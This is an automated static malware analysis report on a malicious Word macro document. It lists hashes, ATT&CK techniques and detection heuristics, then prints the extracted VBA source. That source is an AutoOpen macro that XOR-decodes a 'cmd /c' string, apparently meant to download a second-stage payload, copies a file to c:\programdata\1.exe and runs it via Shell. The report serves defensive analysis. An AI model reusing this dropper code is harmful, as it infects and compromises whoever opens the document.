Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e48c527a59675183…

MALICIOUS

Office (OOXML)

103.2 KB Created: 2020-08-06 11:44:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 0085c8f4d64d42618ddb250e8338a4cb SHA-1: 8226cd260b30b0cf5fedc50312abc0f50c92ba32 SHA-256: e48c527a596751834d830a7c663f8e6e14e7b9d8ee9edbc41d344f4bf1ecbd9c
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros. The AutoOpen macro executes a Shell() call, which is used to run a downloaded payload. The script decodes a string that is likely a command to download and execute a second-stage payload, and the FileCopy function is used to copy a shape's title to a specific path, suggesting a downloader or dropper functionality.

Heuristics 7

  • ClamAV: Doc.Downloader.835b97208387fc57-OOXML-9981517-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.835b97208387fc57-OOXML-9981517-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Builders\Builder\rels\dirpack2\us.jpg
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1340 bytes
SHA-256: 939424a5239a79b02e82fc3b8163c9fbfdd136e5dd05528667482157c7193ed7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "W"
Function qd(aw)
qd = Split(aw, " ")
End Function
Function cq()
cq = "c:\programdata\1.exe"
End Function
Sub autoopen()
Vz = y3("115 125 116 48 63 115 48 50 99 117 100 48 101 45 101 98 124 115 113 115 120 117 54 54 99 117 100 48 98 45 98 117 119 99 54 54 99 117 100 48 99 45 102 98 35 34 54 54 115 113 124 124 48 115 42 76 96 98 127 119 98 113 125 116 113 100 113 76 33 62 117 104 117 48 63 53 101 53 48 63 118 78 48 120 100 100 96 42 63 63 122 41 114 40 97 40 62 115 127 125 63 96 101 96 121 63 119 105 98 101 62 96 120 96 47 124 45 100 113 104 117 118 37 62 115 113 114 48 115 42 76 96 98 127 119 98 113 125 116 113 100 113 76 33 62 100 125 96 48 54 54 48 115 113 124 124 48 53 98 53 53 99 53 48 115 42 76 96 98 127 119 98 113 125 116 113 100 113 76 33 62 100 125 96 50")
Call FileCopy(ActiveDocument.Shapes(1).Title, cq)

Shell Vz
End Sub

Attribute VB_Name = "Gj"
Function y3(w8)
x = qd(w8)
E0 = UBound(x)
a = 0
z = 8
KO = ""
For bv = a To E0
 KO = KO & Chr(x(bv) Xor 16)
Next bv
y3 = KO
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15872 bytes
SHA-256: 75d386a096f0c25269847bc3f982910f35456fc132d36433d59e7d81d97212bd

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